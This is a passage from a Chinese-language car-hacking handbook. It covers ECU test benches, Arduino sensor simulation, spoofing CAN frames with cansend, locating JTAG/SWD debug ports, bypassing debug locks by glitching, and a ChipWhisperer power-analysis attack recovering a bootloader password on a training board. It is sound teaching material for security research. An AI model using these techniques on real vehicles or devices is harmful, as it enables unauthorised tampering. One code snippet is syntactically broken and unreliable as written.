• 油门位置,这在实际车辆中可能已经是一个电位器

• 压力传感器

如果你的目标是生成更复杂或数字化的信号,可以使用一个小型微控制器,如 Arduino 或 Raspberry Pi。

对于我们的测试台,我们还想控制转速和/或车速表指针。为了实现这一点,我们需要了解 ECU 是如何测量速度的。

霍尔效应传感器

霍尔效应传感器通常用于感知发动机转速和曲轴位置(CKP),并生成数字信号。在图 7-5 中,霍尔效应传感器使用一个快门轮,或一个带有间隙的轮子,来测量旋转速度。砷化镓晶体在暴露于磁场时会改变其导电性。随着快门轮的旋转,晶体检测到磁铁并在没有被轮子遮挡时发送脉冲。通过测量脉冲的频率,你可以推算出车辆的速度。

image

图 7-5:霍尔效应传感器的快门轮示意图

你也可以使用凸轮轴定时链轮来测量速度。当你观察凸轮轴定时链轮时,磁铁位于车轮的一侧(见图 7-6)。

image

图 7-6:凸轮轴定时链轮

使用示波器检测信号线表明霍尔效应传感器会产生方波。通常,凸轮轴传感器有三根线:电源、接地和信号线。电源通常是 12V,但信号线通常在 5V 下返回 ECM。凸轮轴传感器也有光学传感器,它们的工作原理类似,区别在于一侧是 LED,另一侧是光电池。

你可以使用一个缺齿的定时齿轮(称为触发轮)或一个定时标记来测量完整的旋转时间。了解凸轮轴何时完成一整圈非常重要。感应型凸轮轴传感器会产生正弦波,通常会有一个缺齿,用来检测完整的旋转。

图 7-7 显示了凸轮轴传感器的信号大约每 2 毫秒重复一次。在约 40 毫秒的位置,波形中的跳跃或间隙是因为缺失齿到达的地方。该间隙的位置标志着凸轮轴完成一整圈的点。为了将这些凸轮轴信号模拟到 ECU 测试台,你需要为你的微控制器编写一个小的程序。当编写微控制器代码以模拟这些传感器时,了解你的车辆使用何种类型的传感器非常重要,这样你就知道在模拟齿轮时是否使用数字输出或模拟输出。

image

图 7-7:示波器下的凸轮轴传感器信号

模拟车辆速度

现在,我们将建立一个测试台来模拟车辆速度。我们将使用这个测试台与图 7-4 中展示的 IC 一起,通过 OBD-II 连接器提取车辆的 VIN。这将为我们提供车辆的确切年份、品牌、型号和发动机类型。(我们在《统一诊断服务》中手动做过这件事,详见第 54 页。)表 7-2 显示了结果。

表 7-2: 车辆信息

VIN 车型 年份 品牌 车身 发动机
1G1ZT53826F109149 Malibu 2006 Chevrolet Sedan 4Door 3.5L V6 OHV 12V

一旦我们知道了车辆的制造年份和发动机类型,就可以获取接线图来确定哪些 ECU 电线控制发动机转速(见图 7-8)。然后,我们可以向 ECU 发送模拟的转速数据,以便测量效果。使用接线图来模拟真实的发动机行为可以帮助我们轻松识别 CAN 总线上的目标信号。

image

图 7-8:显示发动机转速引脚的接线图

图 7-8 中的接线图展示了如何从 CKP 传感器追踪电线,使得 C2 连接器的 27 脚能够接收来自曲轴传感器的发动机转速。确定了接线图中的这个引脚后,我们在 ECU 上找到相应的电线。我们可以将这根电线连接到 Arduino 的任何数字 IO 引脚。在这个例子中,我们将使用引脚 2,并将电位计连接到 A0,用来控制 CKP 传感器的“齿轮”向 ECM 发送的转速。引脚 2 将向 C2 引脚 27 发送输出。

为了模拟从 CKP 传感器发送的发动机转速,我们编写了一个 Arduino 草图,用来发送高低脉冲,延迟间隔与电位计位置相对应(见清单 7-1)。

int ENG_SPD_PIN = 2;
long interval = 500;
long previousMicros = 0;
int state = LOW;

// the setup routine runs once when you press reset
void setup() {
  pinMode(ENG_SPD_PIN, OUTPUT);
}

// the loop routine repeats forever
void loop() {
  unsigned long currentMicros = micros();

  // read the input on analog pin 0
  int sensorValue = analogRead(A0);
  interval = map(sensorValue, 0, 1023, 0, 3000);

  if(currentMicros - previousMicros > interval) {
    previousMicros = currentMicros;

    if (state == LOW)
      state = HIGH;
    else
      state = LOW;

    if (interval == 0)
      state = LOW;  // turning the pot all the way down turns it "off"

    digitalWrite(ENG_SPD_PIN, state);
  }
}

清单 7-1:用于模拟发动机转速的 Arduino 草图

现在,我们将这个草图上传到 Arduino,启动测试台,并在转动电位计的旋钮时,IC 上的转速表会跟随移动。在图 7-9 中,cansniffer流量的第二行显示了字节 2 和字节 3——0x0B 和 0x89——随着我们旋转电位计旋钮而变化,用于仲裁 ID 0x110(列出为ID的那一列)。

image

图 7-9: cansniffer 识别转速

注意

0x0B 和 0x89 并不直接转换为转速;它们只是简写。换句话说,如果你要达到 1000 转速,你不会看到 1000 的十六进制值。当你查询发动机转速时,将这两个字节转换为转速的常见算法如下:

image

A 是第一个字节, B 是第二个字节。如果你将这个算法应用到图 7-9 中显示的内容(从十六进制转换为十进制),你会得到以下结果:

image

你可以简化这个方法,直接使用 0xB89,它在十进制形式下是 2953。当你将其除以 4 时,你得到 738.25 转速。

当这张截图拍摄时,指针在转速表的 1 以下略微空转,所以这可能是相同的算法。(有时你会发现,真实的 CAN 数据包中的数值并不总是与使用 UDS 服务的现成诊断工具的算法一致,但它们一致时是非常好的。)

为了验证仲裁 ID 0x110 的第 2 和第 3 字节控制 RPM,我们将发送我们自己的自定义数据包。通过使用一个循环将以下数据包发送到总线,我们将把指针固定在最大转速。

$ cansend slcan0 110#00ffff3500380000

尽管这种方法有效,一旦连接,它只需要几秒钟就能识别出负责 RPM 的 CAN 数据包,但仍然存在一些明显的问题。每隔一段时间,就会出现一个 CAN 信号,它将值重置为 00 00,并停止转速表的指针移动。因此,虽然 ECM 相当确定曲轴在旋转,但它正在检测到问题并尝试重置。

你可以使用在第三章中讨论的 ISO-TP 工具来提取数据。在两个不同的终端中,我们可以检查是否存在诊断代码。(你也可以使用扫描工具。)

在一个终端中,输入以下内容:

$ isotpsniffer -s 7df -d 7e8 slcan0

在另一个终端中,发送这个命令:

$ echo "03" | isotpsend -s 7DF -d 7E8 slcan0

你应该在第一个终端中看到这个输出:

slcan0 7DF [1] 03 - '.'
slcan0 7E8 [6] 43 02 00 68 C1 07 - 'C..h..'

看起来我们已经有一个 DTC 设置了。查询 PID 0x03 返回了一个 4 字节的 DTC(0x0068C107)。前两个字节构成了标准 DTC(0x00 0x68)。这转换为 P0068,在《Chilton 手册》中被称为“节气门体气流性能”。通过快速搜索 Google,你会发现这只是一个通用错误代码,通常由 PCM 认为发生的情况与它从进气歧管获取的数据之间的差异引起。如果我们也想伪造这些数据,我们还需要伪造三个附加传感器:MAF 传感器、节气门位置传感器和进气歧管压力(MAP)。然而,修复这些问题可能并不会真正解决我们的困境。PCM 可能仍然认为车辆运行正常,但除非你真的在乎篡改所有数据,否则你也许可以找到其他方法来欺骗 PCM 输出你想要的信号,而无需担心触发 DTC 故障。

如果你不想使用 Arduino 发送信号,你也可以购买一个信号发生器。专业的信号发生器至少需要$150,但你也可以从 SparkFun 购买一个,价格约为$50(www.sparkfun.com/products/11394/)。另一个很好的选择是 Megasquirt 的 JimStim。这可以作为一个套件或完全组装的版本,价格为$90,从 DIYAutoTune 购买(www.diyautotune.com/catalog/jimstim-15-megasquirt-stimulator-wheel-simulator-assembled-p-178.html)。

总结

在本章中,你学习了如何构建一个 ECU 测试台,作为一种经济实惠的车辆安全测试解决方案。我们讨论了如何获取构建测试台的零件,以及如何阅读接线图,以便了解如何连接这些零件。你还学习了如何构建一个更先进的测试台,可以模拟发动机信号,从而欺骗组件让它们认为车辆存在。

建立测试平台在初期研究过程中可能是一个耗时的过程,但最终会带来回报。将测试放在测试平台上进行不仅更安全,而且这些设备也非常适合培训,并且可以运输到你需要的地方。

第八章:攻击 ECU 和其他嵌入式系统

image

ECU 是反向工程的常见目标,有时也称为芯片调优。如第七章所述,最流行的 ECU 破解方法是修改燃油地图,以改变燃油效率与性能之间的平衡,从而提升车辆性能。参与这些类型修改的社区非常庞大,我们将在第十三章中更详细地讨论这类固件修改。

本章将专注于通用的嵌入式系统攻击方法以及旁路攻击。这些方法不仅可以应用于 ECU,也适用于任何嵌入式系统,甚至可以借助后市场工具修改车辆。在这里,我们将重点讨论硬件的调试接口以及执行旁路分析攻击和故障攻击。

注意

为了充分理解本章内容,你应该对基础电子学有一定了解,但我已经尽力在合理范围内进行解释。

分析电路板

攻击 ECU 或任何车辆中的嵌入式系统的第一步是分析目标电路板。我在第七章中简要介绍了电路板分析,但在本章中,我将更详细地介绍电子设备和芯片的工作原理。我将向你介绍一些可以应用于车辆中任何嵌入式系统的技术。

识别型号

在反向工程电路板时,首先查看电路板上微控制器芯片的型号。这些型号可以帮助你追踪到有价值的信息,这些信息可能是你分析的关键。你在车辆电路板上找到的大多数芯片都是通用型的——公司很少制造定制芯片——因此,搜索芯片型号通常可以为你提供该芯片的完整数据表。

如第七章所述,你有时会遇到定制的 ASIC 处理器和定制的操作码,尤其是在旧系统中,这些处理器会更加难以重新编程。当你遇到像这样的旧芯片时,应该将它们从电路板上取下,并插入 EPROM 编程器中以读取其固件。你应该能够通过调试软件,如 JTAG,直接重新编程现代系统。

一旦找到数据表,尝试识别每个芯片上的微控制器和内存位置,以确定各个组件如何连接在一起,以及如何找到诊断引脚——这可能是一个潜在的突破口。

拆解与识别芯片

如果你找不到型号,有时你只能依靠芯片的标志(过一段时间后,你会发现自己开始认识芯片的标志)和几个产品代码来判断。图 8-1 中显示的标志是 STMicroelectronics 的标志。在芯片的顶部是型号——在这个例子中是 STM32F407——可能因为是刻印的,所以很难看清。通常,带有背光的放大镜或便宜的 USB 显微镜对读取这些标记非常有帮助。请访问www.st.com/ 查找 STM32F 系列芯片的数据手册,特别是 407 型号的。如果你仔细观察,会发现型号像汽车的 VIN 号一样,通常会分解成几个部分,分别表示型号和不同的变种。然而,没有标准化的方法来拆解这些数字,每个制造商都会有自己表示数据的方式。

image

图 8-1:STM32 芯片识别

在芯片的型号下方是代码——在这个例子中是 VGT6——它告诉你芯片的特定功能,例如 USB 支持。如果你查找型号和 ST 代码,你会发现 STM32F407Vx 系列是支持以太网、USB、两个 CAN 和 LIN 以及 JTAG 和串行线调试的 ARM Cortex M4 芯片。

要确定各个引脚的功能,可以扫描数据手册,找到封装引脚分布图,并根据引脚数寻找与你的芯片匹配的封装。例如,如图 8-1 所示,芯片的每一侧都有 25 个引脚,总共有 100 个引脚,这与数据手册中显示的 LQFP100 引脚分布图(见图 8-2)相符。

每个芯片通常会在第 1 引脚处有一个点或凹痕(见图 8-1),一旦你识别出第 1 引脚,就可以沿着引脚分布图确定每个引脚的功能。有时你会发现有两个凹痕,但其中一个应该会更明显一些。

有时芯片的第 1 引脚通过一个切角来表示。如果你在芯片上找不到任何能帮助你识别第 1 引脚的标记,可以寻找你可以识别的其他特征。例如,如果电路板上的另一颗芯片是常见的 CAN 收发器,你可以使用多功能工具追踪线路,找出它连接的引脚。然后,你可以参考数据手册,查看芯片的哪一侧包含这些 CAN 引脚。为了做到这一点,将万用表设置为连通性模式。一旦进入连通性模式,当你同时接触两个引脚到同一条线路时,万用表会发出蜂鸣声,表示它们已连接。识别出一个引脚后,你可以结合引脚分布图推断出引脚布局。

image

图 8-2:STM32F4 数据手册引脚分布图

使用 JTAG 和串行线调试进行硬件调试

你可以使用各种调试协议来调试芯片,就像调试软件一样。要确定目标芯片支持哪种协议,你需要查阅芯片的数据手册。你应该能够使用芯片的调试端口来拦截其处理过程,并下载和上传对芯片固件的修改。

JTAG

JTAG 是一种协议,它允许进行芯片级调试以及固件的下载和上传。你可以通过查阅芯片的数据手册来定位 JTAG 连接。

JTAGulator

你常常会在芯片的电路板上找到从芯片本身引出的焊盘,这些焊盘可能会给你提供 JTAG 引脚的访问权限。要测试暴露出来的焊盘是否为 JTAG 连接,可以使用像 JTAGulator 这样的工具,如图 8-3 所示。将芯片暴露的所有引脚插入 JTAGulator,并设置电压以匹配芯片。然后,JTAGulator 应该能够找到所有 JTAG 引脚,甚至可以遍历 JTAG 链——一种通过 JTAG 将芯片连接在一起的方法——以查看是否有其他芯片连接。

image

图 8-3:带有总线海盗电缆的 JTAGulator

JTAGulator 支持使用螺丝接线端子或总线海盗电缆(如图 8-3 所示)进行探测。JTAGulator 和总线海盗电缆都使用串行接口来配置并与芯片进行交互。

通过 JTAG 调试

你可以通过仅使用两根线调试芯片,但更常见的是使用四或五个引脚连接。当然,找到 JTAG 连接只是第一步;通常,你还需要克服其他保护机制,这些保护机制会阻止你仅仅下载芯片的固件来进行一些有趣的操作。

开发人员会通过软件或硬件禁用 JTAG 固件。当通过软件禁用 JTAG 时,程序员会设置 JTD 位,通常在运行时通过软件启用两次。如果该位在短时间内没有被调用两次,则不会被设置。通过使用时钟或电源故障攻击来跳过这些指令中的至少一条,可以绕过这种软件保护。(我们将在 “故障注入” 中讨论故障攻击,第 148 页中会有更多内容。)

另一种禁用芯片 JTAG 的方法是通过设置 JTAG 融断器——OCDEN 和 JTAGEN——来尝试永久禁用编程,从而禁用这两个寄存器。这种方法较难通过故障攻击绕过,尽管电压故障或更具侵入性的光学故障可能成功。(光学故障包括拆除芯片外壳,使用显微镜和激光器进行操作,因此它们成本非常高。本书将不涉及此类故障。)

串行线调试

尽管 JTAG 是最常用的硬件调试协议,但一些微控制器——例如 STM32F4 系列,因为它具有车载 CAN 支持,通常用于汽车应用——主要使用串行线调试(SWD)。虽然 ST32F4 系列的 IC 支持 JTAG,但它们通常仅接线以支持 SWD,因为 SWD 只需要两个引脚,而 JTAG 需要五个引脚。SWD 还允许 JTAG 引脚的重叠,因此这些芯片可能通过使用标记为TCKTMS 的引脚来支持 JTAG 和 SWD。(在数据表中,这些引脚被标记为 SWCLKSWIO。)在调试 ST 芯片时,您可以使用像 ST-Link 这样的工具连接、调试并重新刷写处理器。与一些 JTAG 对应工具相比,ST-Link 非常便宜(约 20 美元)。您也可以使用 STM32 开发板。

STM32F4DISCOVERY 套件

STM32F4DISCOVERY 套件(由 STM 销售)是另一个可以用来调试和编程这些芯片的工具。这些实际上是带有自带编程器的开发板。它们的价格大约为 15 美元,应该包含在您的汽车破解工具集中。使用 Discovery 套件的好处是,它既是一个便宜的编程器,又是一个开发板,您可以用它来测试芯片固件的修改。

为了将 Discovery 套件用作通用编程器,请从标有 ST-Link 的引脚上移除跳线,然后连接对面标有 SWD 的六个引脚(参见图 8-4)。引脚 1 紧挨着 SWD 连接器上的白点。

表 8-1 显示了引脚分配图。

表 8-1: STM32F4DISCOVERY 套件引脚分配图

STM32 芯片 STM32F4DISCOVERY 套件
VDD_TARGET 引脚 1
SWLCK 引脚 2
GND 引脚 3
SWDIO 引脚 4
nRESET 引脚 5
SWO 引脚 6

image

图 8-4:通过 STM32F4DISCOVERY 套件编程 STM32 芯片

您很可能需要为目标设备提供电源,但不是使用 SWD 连接器上的引脚 1,而是使用开发板中 Discovery 部分的 3V 引脚,如图 8-4 所示。(请注意,连接图中 Discovery 套件没有使用 SWD 的所有六个引脚;引脚 nRESET 和 SWO 是可选的。)

一旦连接成功,您很可能想要读取和写入固件。如果您使用的是 Linux,您可以从 GitHub 获取 ST-Link,地址为github.com/texane/stlink/。安装这些工具后,您不仅可以读取和写入芯片的闪存,还可以启动 gdbserver 来作为实时调试器使用。

高级用户调试器

Renesas 是一种流行的汽车芯片集,广泛应用于 ECU(见图 8-5)。它有自己的 JTAG 实现,称为 高级用户调试器(AUD)。AUD 提供与 JTAG 相同的功能,但具有其专有的接口。与 SWD 一样,AUD 需要特定的接口才能与 Renesas 芯片集进行通信。

image

图 8-5: 2005 年款 Acura TL ECU 与 Renesas SH MCU 和 AUD 端口

Nexus

Freescale/Power Architecture(现在是 NXP)的 Nexus 是另一种专有的 JTAG 接口。像 AUD 和 SWD 一样,这种在线调试器需要一个特定的设备才能与其接口。在处理 Freescale 芯片时,例如 MCP5xxx 系列,请记住,调试器可能是 Nexus。

Nexus 接口使用一组专用引脚,应该在芯片数据表中定义。查找数据表中辅助端口部分的 EVTI/O 引脚。

利用 ChipWhisperer 进行侧信道分析

侧信道分析是另一种硬件攻击方法,用于绕过 ECU 和其他微控制器保护并破解内建的加密。此类攻击利用嵌入式电子系统的各种特性,而不是直接针对特定的硬件或软件。侧信道攻击有多种形式,有些执行起来可能需要$30,000 到$100,000 的费用,因为它们需要像电子显微镜这样的专用设备。像这样的昂贵的侧信道攻击通常是侵入性的,意味着它们会永久性地改变目标。

我们将集中讨论利用 ChipWhisperer 进行的更简单且便宜的侧信道攻击,这是一种来自 NewAE Technologies 的非侵入性工具(* newae.com/chipwhisperer/ *)。ChipWhisperer 是一个开源的侧信道分析工具和框架,售价略高于$1,000——远低于其非开源的同行产品,后者通常起价约$30,000。

注意

通过制造一个专用设备,我可以以更低的成本完成我将要讨论的攻击,但 ChipWhisperer 是涵盖所有主要功能的最便宜工具。此外,ChipWhisperer 教程针对的是开源设计,这使得它们非常适合本书,因为我们无法使用来自特定厂商的示例,因版权问题。我将在本章中演示每个攻击时,融入 NewAE 的教程。

ChipWhisperer 有一个可选的套餐,包括一个目标开发板,称为多目标受害者板(参见图 8-6)。该板主要用于演示和培训,我们也将使用它作为我们的演示目标。

image

图 8-6: 多目标受害者板

多目标受害者板基本上是三个独立的系统:一个 ATmega328,一个 XMEGA,以及一个智能卡读取器。(ChipWhisperer 可以对智能卡进行中间人攻击,但由于汽车实际上并不使用智能卡,所以我们在这里不讨论这个功能。)

通过更改板上的跳线,您可以给不同的系统供电来启用或禁用它们,但要小心一次只启用一个部分,否则可能会导致短路。测试前请注意跳线设置。

安装软件

首先安装 ChipWhisperer 软件。以下说明适用于 Linux 系统,但你可以在www.newae.com/sidechannel/cwdocs/找到 Windows 的详细设置说明。

ChipWhisperer 软件需要 Python 2.7 和一些额外的 Python 库才能运行。首先,输入以下代码:

$ sudo apt-get install python2.7 python2.7-dev python2.7-libs python-numpy
python-scipy python-pyside python-configobj python-setuptools python-pip git
$ sudo pip install pyusb-1.0.0b1

要获取 ChipWhisperer 软件,你可以从 NewAE 网站下载一个稳定版本的 ZIP 文件,或者从 GitHub 仓库获取一份,链接如下:

$ git clone git://git.assembla.com/chipwhisperer.git
$ cd chipwhisperer
$ git clone git://git.assembla.com/openadc.git

第二个git命令会下载 OpenADC。ChipWhisperer 的 OpenADC 板是示波器部分,负责测量电压信号,基本上是 ChipWhisperer 系统的核心。使用以下命令来设置软件(你应该在 ChipWhisperer 目录下具有 root 权限):

$ cd openadc/controlsw/python
$ sudo python setup.py develop
$ cd software
$ sudo python setup.py develop

硬件已经原生支持 Linux 系统,但你应该为要测试的普通用户添加一个组,以便该用户可以访问设备,而不需要 root 权限。为了允许非 root 用户使用设备,创建一个udev文件,如/etc/udev/rules.d/99 -ztex.rules,并将以下内容添加到该文件:

SUBSYSTEM=="usb", ATTRS{idVendor}=="04b4", ATTRS{idProduct}=="8613",
MODE="0664", GROUP="plugdev"
SUBSYSTEM=="usb", ATTRS{idVendor}=="221a", ATTRS{idProduct}=="0100",
MODE="0664", GROUP="plugdev"

同时,为 AVR 编程器创建一个名为/etc/udev/rules.d/99-avrisp.rules的文件:

SUBSYSTEM=="usb", ATTRS{idVendor}=="03eb", ATTRS{idProduct}=="2104",
MODE="0664", GROUP="plugdev"

现在,添加你的用户(你需要注销并重新登录,以便新权限生效):

$ sudo usermod -a -G plugdev <YourUsername>
$ sudo udevadm control –reload-rules

将 ChipWhisperer 通过插入 mini-USB 线连接到你的电脑。ChipWhisperer 顶部的绿色系统状态指示灯应该会亮起,表示 ChipWhisperer 已设置好,或者至少处于未配置的核心状态。

准备受害者板

为了准备受害者板——或称为 ChipWhisperer 文档中的设备待测(DUT)——下载 AVR 加密库(由于出口法规,这个库默认不包含在 ChipWhisperer 框架中),通过输入以下命令进行下载:

$ cd hardware/victims/firmware
$ sh get_crypto.sh

我们将使用 AVRDUDESS GUI 来编程我们的受害者板。你可以从其 GitHub 仓库获取 AVRDUDESS,链接为github.com/zkemble/avrdudess/,或者从像blog.zakkemble.co.uk/avrdudess-a-gui-for-avrdude/这样的站点下载二进制文件。你需要安装 mono 才能让它正常工作:

$ sudo apt-get install libmono-winforms2.0-cil

接下来,确保受害者板配置为使用 ATmega328 部分,通过更改跳线设置,使其与图 8-7 中的布局匹配。

image

图 8-7:多目标受害者板的跳线设置

你的 ChipWhisperer 应该附带有一根 20 针的排线。按照图示,将这根线缆插入 ChipWhisperer 的后部,并将 USB A/B 线缆插入侧面,如图 8-8 所示。Dmesg 应该会报告识别到插入的 AVRISP mkII,这是我们用来编程目标板的编程器。这样我们就可以在不拔掉设备的情况下进行测试。

image

图 8-8:连接 MultiTarget 受害者板

最后,将 SMA 电缆从目标板上的 VOUT 连接到 ChipWhisperer 前面 CH-A 上的 LNA 接口。表 8-2 显示了引脚分配。除非另有说明,我们将使用此设置进行演示。

表 8-2: MultiTarget 受害者板的引脚分配

受害者板 ChipWhisperer 组件
20 针连接器 ChipWhisperer 背面 20 针排线电缆
VOUT LNA 在 CH-A 上 SMA 电缆
计算机 ChipWhisperer 侧面 Mini USB 电缆

在功率分析攻击中暴力破解安全启动加载程序

现在你已经设置好了受害者板,我们将使用功率分析攻击来暴力破解密码。功率分析攻击通过观察不同芯片组的功率消耗来识别独特的功率特征。通过监控每条指令的功率消耗,可以确定正在执行的指令类型。例如,一个无操作(NOP)指令的功率消耗会比乘法(MUL)指令少。这些差异可以揭示系统的配置,甚至能判断密码是否正确,因为正确的密码字符可能会比错误的密码字符消耗更多的功率。

在以下示例中,我们将探索 TinySafeBoot (jtxp.org/tech/tinysafeboot_en.htm),一个为 AVR 系统设计的小型开源引导加载程序。该引导加载程序需要密码才能进行修改。我们将使用 ChipWhisperer 利用其密码检查方法中的漏洞,从芯片中推导出密码。这个漏洞在新版本的 TinySafeBoot 中已被修复,但为了练习,旧版本已包含在 ChipWhisperer 框架的 victims 文件夹中。本教程基于 NewAE 的“使用功率进行时序分析以攻击 TSB”(www.newae.com/sidechannel/cwdocs/tutorialtimingpasswd.html)。

使用 AVRDUDESS 准备测试

首先,打开 AVRDUDESS 并从程序员下拉菜单中选择 AVR ISP mkII。确保在 MCU 字段中选择了 ATmega328P,然后点击 检测 来验证你是否已连接到 ATmega328p(参见 图 8-9)。在 Flash 字段中选择 hardware/victims/firmware/tinysafeboot-20140331 作为闪存文件。

image

图 8-9:在 AVRDUDESS 中编程 TinySafeBoot

点击 编程!,AVRDUDESS 应该将 TinySafeBoot 程序写入 ATmega。

设置 ChipWhisperer 用于串行通信

现在我们准备进行测试了!我们将使用 ChipWhisperer 设置并监控当引导程序检查密码时的功率使用情况。然后,我们将利用这些信息构建一个工具,比传统的暴力破解方法更快地破解密码。首先,设置 ChipWhisperer 通过引导程序的串口接口与引导程序通信,像这样:

$ cd software/chipwhisperer/capture
$ python ChipWhispererCapture.py

ChipWhisperer 有很多选项,所以我们将逐步介绍你需要更改的每个设置。

  1. 在 ChipWhispererCapture 中,转到常规设置选项卡,将 Scope 模块设置为 ChipWhisperer/OpenADC,将 Target 模块设置为 Simple Serial,如 图 8-10 所示。

    image

    图 8-10:设置 Scope 和 Target 类型

    image

    图 8-11:设置连接和波特率

  2. 切换到目标设置选项卡(窗口底部),将连接设置更改为 ChipWhisperer。然后在串口设置下,将 TX Baud 和 RX Baud 都设置为 9600,如 图 8-11 所示。

  3. 在屏幕顶部,点击带有 DIS 的红色圆圈。圆圈应该变为绿色并显示 CON

  4. ChipWhisperer 配备了一个简单的串口终端界面。选择 工具 ▸ 打开终端 来打开它。你应该会看到一个像 图 8-12 中所示的终端。

    image

    图 8-12:ChipWhisperer 串口终端

  5. 在终端底部,将 TX 设置为 None,并勾选 RX: 显示非 ASCII 为十六进制(参见 图 8-12)。然后点击 连接 以启用你的文本区域。

  6. 在发送按钮左侧的文本框中输入 @@@(TinySafeBoot 的启动密码),然后点击 发送。引导程序应该以 TSB 开头,并主要包含固件版本和 AVR 设置的信息。TSB 只是 TinySafeBoot 使用的一个标识符,最有可能是其首字母缩写。输出应该与 图 8-12 中的内容匹配。

设置自定义密码

现在我们需要设置一个自定义密码,以便在输入密码时监控功率水平。

首先,关闭串口终端。然后在 ChipWhisperer 主窗口底部中央的 Python 控制台窗口中输入以下几行代码。

>>> self.target.driver.ser.write("@@@")
>>> self.target.driver.ser.read(255)

我们使用串口命令 self.target.driver.ser.write("@@@") 来发送当前的引导程序密码。接下来,我们输入串口命令 self.target.driver.ser.read(255) 来从引导程序读取最多 255 个字节,以查看它对我们发送密码的响应(参见 图 8-13)。

image

图 8-13:通过 ChipWhisperer 的 Python 控制台发送 @@@

为了方便起见,首先将读写命令分配给各自的变量,这样就不需要每次都输入这么长的命令(以下示例假设你已经完成了这一步):

>>> read = self.target.driver.ser.read
>>> write = self.target.driver.ser.write

密码存储在设备闪存的最后一页。我们将抓取该页面,去除响应中的确认!字符,并将新密码og写入固件中。

注意

您可以在 NewAE 教程 (www.newae.com/sidechannel/cwdocs/tutorialtimingpasswd.html) 或 Python 手册中找到对此过程的更详细解释

返回 Python 控制台,输入清单 8-1。

>>> write('c')
>>> lastpage = read(255)
>>> lastpage = lastpage[:-1]
>>> lastpage = bytearray(lastpage, 'latin-1')
>>> lastpage[3] = ord('o')
>>> lastpage[4] = ord('g')
>>> lastpage[5] = 255
>>> write('C')
>>> write('!')
>>> write(lastpage.decode('latin-1'))

清单 8-1:修改最后一页内存以将密码设置为 og

如果登录超时,像这样重新发送@@@

>>> write("@@@")

一旦您将新字符写入内存,使用write("og")验证og是新密码,然后在 Python 控制台中执行read(255)。请注意,在图 8-14 中,我们首先尝试发送@@@,但是直到我们发送og密码时才收到 TinySafeBoot 响应。

image

图 8-14:将密码设置为 og

重置 AVR

更改密码后,我们可以开始读取功率信号。首先,我们需要能够脱离系统在输入错误密码时进入的无限循环。编写一个小脚本,当发生这种情况时重置 AVR。在 Python 控制台中输入以下命令以创建一个 resetAVR 辅助函数:

>>> from subprocess import call
>>> def resetAVR:
      call(["/usr/bin/avrdude", "-c", "avrispmkII", "-p", "m328p"])

设置 ChipWhisperer ADC

现在,设置 ChipWhisperer ADC,使其知道如何记录功率轨迹。返回 ChipWhisperer 主窗口,点击示波器标签,并按照表 8-3 和图 8-15 中的示例设置值。

表 8-3: 配置 OpenADC 以设置受害者板的示波器标签

区域 类别 设置
OpenADC 增益设置 设置 40
OpenADC 触发器设置 模式 下降沿
OpenADC 触发器设置 超时 7
OpenADC ADC 时钟 来源 EXTCLK x1 通过 DCM
CW 附加功能 触发器引脚 前面板 A 取消勾选
CW 附加功能 触发器引脚 目标 IO1(串行 TXD) 勾选
CW 附加功能 触发器引脚 时钟源 目标 IO-IN
OpenADC ADC 时钟 重置 ADC DCM 按钮

image

图 8-15:触发串行 TX 上的 ADC 值

监控密码输入时的功率使用

现在,我们将监控输入密码时的功率使用,看看能否发现有效密码和无效密码之间的功率差异。我们将观察当输入现在无效的密码@@@时发生了什么。回想一下,之前当引导加载程序检测到你输入错误的密码时,它会进入无限循环,所以我们可以监控此时的功率使用情况。当然,你需要退出该无限循环,所以一旦你尝试了错误的密码并进入循环,重置设备并尝试输入另一个密码。为此,请在 Python 控制台中按以下方式导航到密码提示符:

>>> resetAVR()
>>> write("@@@")

现在,使用正确的密码执行下一条命令,但不要点击回车键:

>>> write("og")

点击工具栏中绿色播放图标上的1来记录一次功率轨迹。操作后,立即在 Python 控制台中点击回车。应该会弹出一个捕获波形窗口,显示有效密码的功率轨迹记录(参见图 8-16)。

image

图 8-16:有效密码的功率轨迹

图 8-16 的细节并不是那么重要;关键是让你了解“良好”信号的样子。你看到的粗线条表示正常处理,当处理指令发生变化时,大约在 8,000 样本范围内会有一个功率下降。(这可能与密码检查有关,但在这个阶段我们不必纠结于细节。)

现在,输入一个无效密码—ff

>>> resetAVR()
>>> write("@@@")
>>> write("ff")

图 8-17 展示了该密码的功率轨迹。

image

图 8-17:无效字符密码的功率轨迹

你可以看到当功率读数从正常转变为几乎一致的 0 功率使用时,程序卡在了它的无限循环中。

现在,让我们尝试输入一个第一个字符有效的密码,看看是否能发现差异:

>>> resetAVR()
>>> write("@@@")
>>> write("of")

在图 8-18 中,设备进入无限循环之前,会有一个额外的片段处于活动状态。我们看到正常的功率使用,然后在 8,000 处出现了我们在第一次有效读数中看到的功率下降,接着是更多的正常功率使用,然后设备进入 0 功率的无限循环。

image

图 8-18:具有有效第一个字符的密码的功率轨迹

注意

你可以通过测量 8,000 处的功率下降和大约 16,000 处开始的无限循环之间的长度,来确定检查一个有效字符所使用的样本大小。在这种情况下,我们大致可以估算出检查一个字符的样本大小约为 8,000 次轨迹(16,000 – 8,000)。

使用 Python 脚本化 ChipWhisperer

因为 ChipWhisperer 是用 Python 编写的,所以它具有高度的脚本化功能,因此你可以编写这些功率跟踪脚本,创建一个暴力破解工具,可以非常快速地获取启动加载程序的密码。通过设置脚本来检查功率跟踪的数据显示点是否超过设定的阈值,暴力破解者可以立即判断目标字符是否正确。通过查看图 8-18 中 y 轴上的数据值,我们可以看到当有活动时,数据达到 0.1,而当进入无限循环时,数据徘徊在 0 附近。如果目标字符正确,我们可以将脚本的阈值设置为 0.1,如果字节样本范围内没有任何数据达到 0.1,则可以得出结论:我们处于无限循环中,密码字符不正确。

例如,如果密码由 255 个不同字符组成,且最大长度为 3,则密码将是 255³,即 16,581,375 种可能。然而,由于我们可以立即检测到正确的字符,在最坏情况下,暴力破解者只需尝试 255 × 3,即 765 种可能。如果字符与设置的密码不匹配,启动程序将跳入无限循环。另一方面,如果密码检查程序等待直到整个密码被检查完毕,无论其正确与否,这种定时分析将无法进行。嵌入式系统上的小型代码通常设计得尽可能高效,这可能使其容易受到致命的定时攻击。

注意

有关如何为 ChipWhisperer 编写自己的暴力破解工具的详细信息,请参阅 NewAE 教程。一个示例暴力破解工具已包含在 www.nostarch.com/carhacking/

